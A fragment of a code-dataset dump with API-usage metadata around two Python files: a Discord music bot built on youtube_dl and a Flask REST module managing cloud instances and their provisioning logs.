"usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 35, "usage_type": "call"}, {"api_name": "re.search", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.file_ops.file_exist", "line_number": 62, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 62, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 70, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 73, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 74, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 80, "usage_type": "call"}, {"api_name": "utils.file_ops.get_subfolders_names_in_directory", "line_number": 87, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 87, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 91, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 94, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 101, "usage_type": "call"}, {"api_name": "shutil.unpack_archive", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 103, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 104, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 105, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 107, "usage_type": "call"}, {"api_name": "utils.file_ops.get_directory_subfolders_subset", "line_number": 112, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 112, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 117, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 122, "usage_type": "call"}, {"api_name": "filecmp.cmp", "line_number": 123, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path", "line_number": 143, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path", "line_number": 145, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path", "line_number": 150, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path", "line_number": 151, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 179, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 183, "usage_type": "call"}, {"api_name": "utils.file_ops.get_directory_subfolders_subset", "line_number": 189, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 189, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path", "line_number": 193, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 201, "usage_type": "call"}, {"api_name": "os.path", "line_number": 201, "usage_type": "attribute"}, {"api_name": "utils.file_ops.get_directory_subfolders_subset", "line_number": 227, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 227, "usage_type": "name"}, {"api_name": "utils.file_ops.get_subfolders_in_directory", "line_number": 232, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 232, "usage_type": "name"}, {"api_name": "utils.file_ops.copy_files_from_folder", "line_number": 240, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 240, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 242, "usage_type": "call"}, {"api_name": "utils.file_ops.copy_xml_files_from_folder", "line_number": 244, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 244, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 246, "usage_type": "call"}, {"api_name": "utils.file_ops.get_directory_subfolders_subset", "line_number": 248, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 248, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 254, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 255, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 256, "usage_type": "call"}, {"api_name": "shutil.copyfileobj", "line_number": 269, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 281, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 327, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 333, "usage_type": "call"}, {"api_name": "os.path", "line_number": 333, "usage_type": "attribute"}, {"api_name": "utils.file_ops.copy_files_from_folder", "line_number": 335, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 335, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 339, "usage_type": "call"}, {"api_name": "os.path", "line_number": 339, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 341, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 343, "usage_type": "call"}, {"api_name": "os.path", "line_number": 343, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 345, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 369, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 370, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 375, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 378, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 381, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 386, "usage_type": "call"}, {"api_name": "os.path", "line_number": 386, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 389, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 391, "usage_type": "call"}, {"api_name": "utils.file_ops.get_folder_name", "line_number": 404, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 404, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 405, "usage_type": "call"}, {"api_name": "os.path", "line_number": 405, "usage_type": "attribute"}, {"api_name": "tarfile.open", "line_number": 407, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 410, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 422, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 423, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 424, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 424, "usage_type": "call"}, {"api_name": "os.path", "line_number": 424, "usage_type": "attribute"}, {"api_name": "utils.file_ops.get_folder_name", "line_number": 430, "usage_type": "call"}, {"api_name": "utils.file_ops", "line_number": 430, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 435, "usage_type": "call"}, {"api_name": "os.path", "line_number": 435, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 437, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 441, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 448, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 452, "usage_type": "call"}, {"api_name": "os.path", "line_number": 452, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 453, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 454, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 457, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 458, "usage_type": "call"}]} {"seq_id": "250173178", "text": "#attejantunen\nimport logging\nimport discord\nimport asyncio\nfrom discord.ext import commands\nfrom discord.utils import get\nimport youtube_dl\nfrom functools import partial\n\nif not discord.opus.is_loaded():\n # the 'opus' library here is opus.dll on windows\n # or libopus.so on linux in the current directory\n # you should replace this with the location the\n # opus library is located in and with the proper filename.\n # note that on windows this DLL is automatically provided for you\n discord.opus.load_opus('opus')\n\nlogging.basicConfig(level=logging.INFO)\n\nprefix = '.'\nbot = commands.Bot(command_prefix = prefix)\n\n\n\n@bot.event\nasync def on_ready():\n print('Logged in as')\n print(bot.user.name)\n print(bot.user.id)\n print('------')\n\n\n@bot.event\nasync def on_member_join(member):\n for channel in member.server.channels:\n if str(channel) == \"lobby\": # We check to make sure we are sending the message in the general channel\n await bot.send_message(f\"\"\"Welcome to the NKD server {member.mention}\"\"\")\n\n# Suppress noise about console usage from errors\nyoutube_dl.utils.bug_reports_message = lambda: ''\n\n\nytdl_format_options = {\n 'format': 'bestaudio/best',\n 'outtmpl': '%(extractor)s-%(id)s-%(title)s.%(ext)s',\n 'restrictfilenames': True,\n 'noplaylist': True,\n 'nocheckcertificate': True,\n 'ignoreerrors': False,\n 'logtostderr': False,\n 'quiet': True,\n 'no_warnings': True,\n 'default_search': 'auto',\n 'source_address': '0.0.0.0' # bind to ipv4 since ipv6 addresses cause issues sometimes\n}\n\nffmpeg_options = {\n 'options': '-vn'\n}\n\nytdl = youtube_dl.YoutubeDL(ytdl_format_options)\n\n\nclass YTDLSource(discord.PCMVolumeTransformer):\n def __init__(self, source, *, data, volume=0.5):\n super().__init__(source, volume)\n\n self.data = data\n \n self.title = data.get('title')\n self.url = data.get('url')\n\n @classmethod\n async def from_url(cls, url, *, loop=None, stream=False):\n loop = loop or asyncio.get_event_loop()\n data = await loop.run_in_executor(None, lambda: ytdl.extract_info(url, download=not stream))\n\n if 'entries' in data:\n # take first item from a playlist\n data = data['entries'][0]\n\n filename = data['url'] if stream else ytdl.prepare_filename(data)\n return cls(discord.FFmpegPCMAudio(filename, **ffmpeg_options), data=data)\n\n\nclass Music(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.playlist = []\n self.titlelist = []\n self.empty = False\n self.beforeArgs = \"-reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5\" \n \n self.queue = asyncio.Queue()\n self.next = asyncio.Event()\n\n @commands.command()\n async def showhelp(self, ctx):\n await ctx.send('Command prefix \".\"\\nshowhelp\\necho\\nqueue\\nremove\\nshowq\\nempty\\njoin\\nplaylist\\nstream\\nvolume\\nstop\\n ')\n\n @commands.command()\n async def queue(self, ctx, url):\n self.playlist.append(str(url))\n self.titlelist.append(ytdl.extract_info(\"{}\".format(url)).get(\"title\", None))\n await ctx.send(f\"\"\"Added link to queue.\"\"\", delete_after=15)\n \n\n @commands.command()\n async def remove(self, ctx, *, number):\n self.playlist.pop(int(number)-1)\n self.titlelist.pop(int(number)-1)\n await ctx.send('{} removed.'.format(number),delete_after=15)\n\n @commands.command()\n async def showq(self, ctx):\n for i in range(len(self.titlelist)):\n await ctx.send('{}: {}'.format(i+1, self.titlelist[i]))\n\n @commands.command()\n async def empty(self, ctx):\n self.playlist.clear()\n await ctx.send('Queue cleared.',delete_after=15)\n\n @commands.command()\n async def join(self, ctx, *, channel: discord.VoiceChannel=None):\n \"\"\"Joins a voice channel\"\"\"\n\n if not channel:\n try:\n channel = ctx.author.voice.channel\n await channel.connect()\n except AttributeError:\n raise commands.CommandError('No channel to join. Please either specify a valid channel or join one.')\n\n vc = ctx.voice_client\n if vc:\n if vc.channel.id == channel.id:\n return\n try:\n await vc.move_to(channel)\n except asyncio.TimeoutError:\n raise commands.CommandError(f'Moving to channel: <{channel}> timed out.')\n else:\n try:\n await channel.connect()\n except asyncio.TimeoutError:\n raise commands.CommandError(f'Connecting to channel: <{channel}> timed out.')\n \n @commands.command()\n async def play(self, ctx, *, query):\n \"\"\"Plays a file from the local filesystem\"\"\"\n\n source = discord.PCMVolumeTransformer(discord.FFmpegPCMAudio(query))\n ctx.voice_client.play(source, after=lambda e: print('Player error: %s' % e) if e else None)\n\n await ctx.send('Now playing: {}'.format(query))\n\n @commands.command()\n async def yt(self, ctx, *, url):\n \"\"\"Plays from a url (almost anything youtube_dl supports)\"\"\"\n async with ctx.typing():\n player = await YTDLSource.from_url(url, loop=self.bot.loop)\n ctx.voice_client.play(player, after=lambda e: print('Player error: %s' % e) if e else None)\n\n await ctx.send('Now playing: {}'.format(player.title))\n \n @commands.command()\n async def stream(self, ctx, *, url):\n \"\"\"Streams from a url (same as yt, but doesn't predownload)\"\"\"\n\n async with ctx.typing():\n player = await YTDLSource.from_url(url, loop=self.bot.loop, stream=True)\n ctx.voice_client.play(player, after=lambda e: print('Player error: %s' % e) if e else None)\n\n await ctx.send('Now playing: {}'.format(player.title))\n \n async def playsong(self, ctx):\n async with ctx.typing():\n \n player = await YTDLSource.from_url(self.playlist[0], loop=self.bot.loop, stream=True)\n ctx.voice_client.play(player, after=lambda e: print('Player error: %s' % e) if e else None)\n await ctx.send('Now playing: {}'.format(player.title)) \n \n @commands.command()\n async def playlist(self,ctx):\n vc = ctx.voice_client\n while self.empty == False: \n if vc.is_playing():\n await asyncio.sleep(1)\n if vc.is_playing() == False:\n self.stream(self.playlist[0])\n self.playlist.pop(0)\n self.titlelist.pop(0)\n if len(self.playlist) == 0:\n self.empty = True\n \n @commands.command()\n async def volume(self, ctx, volume: int):\n \"\"\"Changes the player's volume\"\"\"\n\n if ctx.voice_client is None:\n return await ctx.send(\"Not connected to a voice channel.\")\n\n ctx.voice_client.source.volume = volume / 100\n await ctx.send(\"Changed volume to {}%\".format(volume),delete_after=15)\n\n @commands.command()\n async def stop(self, ctx):\n \"\"\"Stops and disconnects the bot from voice\"\"\"\n\n await ctx.voice_client.disconnect()\n'''\n @play.before_invoke\n @yt.before_invoke\n @stream.before_invoke\n async def ensure_voice(self, ctx):\n if ctx.voice_client is None:\n if ctx.author.voice:\n await ctx.author.voice.channel.connect()\n else:\n await ctx.send(\"You are not connected to a voice channel.\")\n raise commands.CommandError(\"Author not connected to a voice channel.\")\n elif ctx.voice_client.is_playing():\n ctx.voice_client.stop()\n'''\n\n@bot.command()\nasync def echo(ctx, message):\n await ctx.send(message)\n\nbot.add_cog(Music(bot))\n\n\nbot.run('')\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7828, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "discord.opus.is_loaded", "line_number": 10, "usage_type": "call"}, {"api_name": "discord.opus", "line_number": 10, "usage_type": "attribute"}, {"api_name": "discord.opus.load_opus", "line_number": 16, "usage_type": "call"}, {"api_name": "discord.opus", "line_number": 16, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 18, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Bot", "line_number": 21, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 21, "usage_type": "name"}, {"api_name": "youtube_dl.utils", "line_number": 40, "usage_type": "attribute"}, {"api_name": "youtube_dl.YoutubeDL", "line_number": 61, "usage_type": "call"}, {"api_name": "discord.PCMVolumeTransformer", "line_number": 64, "usage_type": "attribute"}, {"api_name": "asyncio.get_event_loop", "line_number": 75, "usage_type": "call"}, {"api_name": "discord.FFmpegPCMAudio", "line_number": 83, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 86, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 86, "usage_type": "name"}, {"api_name": "asyncio.Queue", "line_number": 94, "usage_type": "call"}, {"api_name": "asyncio.Event", "line_number": 95, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 97, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 97, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 101, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 101, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 108, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 108, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 114, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 114, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 119, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 119, "usage_type": "name"}, {"api_name": "discord.VoiceChannel", "line_number": 125, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.CommandError", "line_number": 133, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 133, "usage_type": "name"}, {"api_name": "asyncio.TimeoutError", "line_number": 141, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.CommandError", "line_number": 142, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 142, "usage_type": "name"}, {"api_name": "asyncio.TimeoutError", "line_number": 146, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.CommandError", "line_number": 147, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 147, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 124, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 124, "usage_type": "name"}, {"api_name": "discord.PCMVolumeTransformer", "line_number": 153, "usage_type": "call"}, {"api_name": "discord.FFmpegPCMAudio", "line_number": 153, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 149, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 149, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 158, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 158, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 167, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 167, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 189, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 184, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 184, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 197, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 197, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 207, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 207, "usage_type": "name"}]} {"seq_id": "195238068", "text": "from flask.ext.restful import marshal, marshal_with, fields, reqparse\nfrom flask import abort, g\nfrom flask import Blueprint as FlaskBlueprint\n\nimport datetime\nimport logging\nimport os\nimport json\nimport uuid\n\nfrom pouta_blueprints.models import db, Blueprint, Instance, User\nfrom pouta_blueprints.forms import InstanceForm, UserIPForm\nfrom pouta_blueprints.server import app, restful\nfrom pouta_blueprints.utils import requires_admin, memoize\nfrom pouta_blueprints.tasks import run_update, update_user_connectivity\nfrom pouta_blueprints.views.commons import auth\n\ninstances = FlaskBlueprint('instances', __name__)\n\nUSER_INSTANCE_LIMIT = 5\n\ninstance_fields = {\n 'id': fields.String,\n 'name': fields.String,\n 'provisioned_at': fields.DateTime,\n 'lifetime_left': fields.Integer,\n 'maximum_lifetime': fields.Integer,\n 'runtime': fields.Float,\n 'state': fields.String,\n 'to_be_deleted': fields.Boolean,\n 'error_msg': fields.String,\n 'username': fields.String,\n 'user_id': fields.String,\n 'blueprint': fields.String,\n 'blueprint_id': fields.String,\n 'cost_multiplier': fields.Float(default=1.0),\n 'can_update_connectivity': fields.Boolean(default=False),\n 'instance_data': fields.Raw,\n 'public_ip': fields.String,\n 'client_ip': fields.String(default='not set'),\n 'logs': fields.Raw,\n}\n\n\ndef query_blueprint(blueprint_id):\n return Blueprint.query.filter_by(id=blueprint_id).first()\n\n\ndef query_user(user_id):\n return User.query.filter_by(id=user_id).first()\n\n\ndef positive_integer(input_value):\n \"\"\"Return input_value if valid, raise an exception in other case.\"\"\"\n try:\n input_int = int(input_value)\n except:\n raise ValueError('{} is not a valid integer'.format(input_value))\n if input_int >= 0:\n return input_int\n else:\n raise ValueError('{} is not a positive integer'.format(input_value))\n\n\nclass InstanceList(restful.Resource):\n parser = reqparse.RequestParser()\n parser.add_argument('show_deleted', type=bool, default=False, location='args')\n parser.add_argument('show_only_mine', type=bool, default=False, location='args')\n parser.add_argument('offset', type=positive_integer, location='args')\n parser.add_argument('limit', type=positive_integer, location='args')\n\n @auth.login_required\n @marshal_with(instance_fields)\n def get(self):\n user = g.user\n args = self.parser.parse_args()\n q = Instance.query\n if not user.is_admin or args.get('show_only_mine'):\n q = q.filter_by(user_id=user.id)\n if not args.get('show_deleted'):\n q = q.filter(Instance.state != Instance.STATE_DELETED)\n if args.get('offset'):\n q = q.offset(args.get('offset'))\n if args.get('limit'):\n q = q.limit(args.get('limit'))\n instances = q.all()\n\n get_blueprint = memoize(query_blueprint)\n get_user = memoize(query_user)\n for instance in instances:\n instance.logs = InstanceLogs.get_logfile_urls(instance.id)\n\n user = get_user(instance.user_id)\n if user:\n instance.username = user.email\n\n blueprint = get_blueprint(instance.blueprint_id)\n if not blueprint:\n logging.warn(\"instance %s has a reference to non-existing blueprint\" % instance.id)\n continue\n\n age = 0\n if instance.provisioned_at:\n age = (datetime.datetime.utcnow() - instance.provisioned_at).total_seconds()\n instance.lifetime_left = max(blueprint.maximum_lifetime - age, 0)\n instance.maximum_lifetime = blueprint.maximum_lifetime\n instance.cost_multiplier = blueprint.cost_multiplier\n\n return instances\n\n @auth.login_required\n def post(self):\n user = g.user\n\n form = InstanceForm()\n if not form.validate_on_submit():\n logging.warn(\"validation error on user login\")\n return form.errors, 422\n\n blueprint_id = form.blueprint.data\n\n blueprint = Blueprint.query.filter_by(id=blueprint_id, is_enabled=True).first()\n if not blueprint:\n abort(404)\n\n if user.quota_exceeded():\n return {'error': 'USER_OVER_QUOTA'}, 409\n\n if blueprint.preallocated_credits:\n preconsumed_amount = blueprint.cost()\n total_credits_spent = preconsumed_amount + user.credits_spent\n if user.credits_quota < total_credits_spent:\n return {'error': 'USER_OVER_QUOTA'}, 409\n\n instances_for_user = Instance.query.filter_by(\n blueprint_id=blueprint.id,\n user_id=user.id\n ).filter(Instance.state != 'deleted').all()\n\n user_instance_limit = blueprint.config.get('maximum_instances_per_user', USER_INSTANCE_LIMIT)\n if instances_for_user and len(instances_for_user) >= user_instance_limit:\n return {'error': 'BLUEPRINT_INSTANCE_LIMIT_REACHED'}, 409\n\n instance = Instance(blueprint, user)\n # XXX: Choosing the name should be done in the model's constructor method\n # decide on a name that is not used currently\n existing_names = set(x.name for x in Instance.query.all())\n # Note: the potential race is solved by unique constraint in database\n while True:\n c_name = Instance.generate_name(prefix=app.dynamic_config.get('INSTANCE_NAME_PREFIX'))\n if c_name not in existing_names:\n instance.name = c_name\n break\n db.session.add(instance)\n db.session.commit()\n\n if not app.dynamic_config.get('SKIP_TASK_QUEUE'):\n run_update.delay(instance.id)\n\n return marshal(instance, instance_fields), 200\n\n\nclass InstanceView(restful.Resource):\n parser = reqparse.RequestParser()\n parser.add_argument('state', type=str)\n parser.add_argument('public_ip', type=str)\n parser.add_argument('error_msg', type=str)\n parser.add_argument('client_ip', type=str)\n parser.add_argument('instance_data', type=str)\n parser.add_argument('to_be_deleted', type=bool)\n\n @auth.login_required\n @marshal_with(instance_fields)\n def get(self, instance_id):\n user = g.user\n query = Instance.query.filter_by(id=instance_id)\n if not user.is_admin:\n query = query.filter_by(user_id=user.id)\n instance = query.first()\n if not instance:\n abort(404)\n\n blueprint = Blueprint.query.filter_by(id=instance.blueprint_id).first()\n instance.blueprint_id = blueprint.id\n instance.username = instance.user\n instance.logs = InstanceLogs.get_logfile_urls(instance.id)\n\n if 'allow_update_client_connectivity' in blueprint.config \\\n and blueprint.config['allow_update_client_connectivity']:\n instance.can_update_connectivity = True\n\n age = 0\n if instance.provisioned_at:\n age = (datetime.datetime.utcnow() - instance.provisioned_at).total_seconds()\n instance.lifetime_left = max(blueprint.maximum_lifetime - age, 0)\n instance.maximum_lifetime = blueprint.maximum_lifetime\n instance.cost_multiplier = blueprint.cost_multiplier\n\n return instance\n\n @auth.login_required\n def delete(self, instance_id):\n user = g.user\n query = Instance.query.filter_by(id=instance_id)\n if not user.is_admin:\n query = query.filter_by(user_id=user.id)\n instance = query.first()\n if not instance:\n abort(404)\n instance.to_be_deleted = True\n instance.state = Instance.STATE_DELETING\n instance.deprovisioned_at = datetime.datetime.utcnow()\n db.session.commit()\n if not app.dynamic_config.get('SKIP_TASK_QUEUE'):\n run_update.delay(instance.id)\n\n @auth.login_required\n def put(self, instance_id):\n user = g.user\n form = UserIPForm()\n if not form.validate_on_submit():\n logging.warn(\"validation error on UserIPForm\")\n return form.errors, 422\n\n instance = Instance.query.filter_by(id=instance_id, user_id=user.id).first()\n if not instance:\n abort(404)\n\n blueprint = Blueprint.query.filter_by(id=instance.blueprint_id).first()\n if 'allow_update_client_connectivity' in blueprint.config \\\n and blueprint.config['allow_update_client_connectivity']:\n instance.client_ip = form.client_ip.data\n if not app.dynamic_config.get('SKIP_TASK_QUEUE'):\n update_user_connectivity.delay(instance.id)\n db.session.commit()\n\n else:\n abort(400)\n\n @auth.login_required\n @requires_admin\n def patch(self, instance_id):\n args = self.parser.parse_args()\n instance = Instance.query.filter_by(id=instance_id).first()\n if not instance:\n abort(404)\n\n if args.get('state'):\n instance.state = args['state']\n if instance.state == Instance.STATE_RUNNING:\n if not instance.provisioned_at:\n instance.provisioned_at = datetime.datetime.utcnow()\n if args['state'] == Instance.STATE_FAILED:\n instance.errored = True\n\n db.session.commit()\n\n if args.get('to_be_deleted'):\n instance.to_be_deleted = args['to_be_deleted']\n db.session.commit()\n\n if args.get('error_msg'):\n instance.error_msg = args['error_msg']\n db.session.commit()\n\n if args.get('public_ip'):\n instance.public_ip = args['public_ip']\n db.session.commit()\n\n if args.get('instance_data'):\n try:\n instance.instance_data = json.loads(args['instance_data'])\n except ValueError:\n logging.warn(\"invalid instance_data passed to view: %s\" % args['instance_data'])\n db.session.commit()\n\n\nclass InstanceLogs(restful.Resource):\n parser = reqparse.RequestParser()\n parser.add_argument('type', type=str)\n parser.add_argument('text', type=str)\n\n @staticmethod\n def get_base_dir_and_filename(instance_id, log_type, create_missing_filename=False):\n log_dir = '/webapps/pouta_blueprints/provisioning_logs/%s' % instance_id\n\n if not app.dynamic_config.get('WRITE_PROVISIONING_LOGS'):\n return None, None\n\n # make sure the directory for this instance exists\n if not os.path.isdir(log_dir):\n os.mkdir(log_dir, 0o755)\n\n # check if we already have a file with the correct extension\n log_file_name = None\n for filename in os.listdir(log_dir):\n if filename.endswith('.' + log_type + '.txt'):\n log_file_name = filename\n if not log_file_name and create_missing_filename:\n log_file_name = '%s.%s.txt' % (uuid.uuid4().hex, log_type)\n\n return log_dir, log_file_name\n\n @staticmethod\n def get_logfile_urls(instance_id):\n res = []\n for log_type in ['provisioning', 'deprovisioning']:\n log_dir, log_file_name = InstanceLogs.get_base_dir_and_filename(instance_id, log_type)\n if log_file_name:\n res.append({\n 'url': '/provisioning_logs/%s/%s' % (instance_id, log_file_name),\n 'type': log_type\n })\n return res\n\n @auth.login_required\n @requires_admin\n def patch(self, instance_id):\n args = self.parser.parse_args()\n instance = Instance.query.filter_by(id=instance_id).first()\n if not instance:\n abort(404)\n\n log_type = args['type']\n if not log_type:\n abort(403)\n\n if log_type in ('provisioning', 'deprovisioning'):\n log_dir, log_file_name = self.get_base_dir_and_filename(\n instance_id, log_type, create_missing_filename=True)\n\n with open('%s/%s' % (log_dir, log_file_name), 'a') as logfile:\n logfile.write(args['text'])\n else:\n abort(403)\n\n return 'ok'\n", "sub_path": "pouta_blueprints/views/instances.py", "file_name": "instances.py", "file_ext": "py", "file_size_in_byte": 12090, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "flask.Blueprint", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.DateTime", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.Integer", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.Integer", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.Float", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 28, "usage_type": 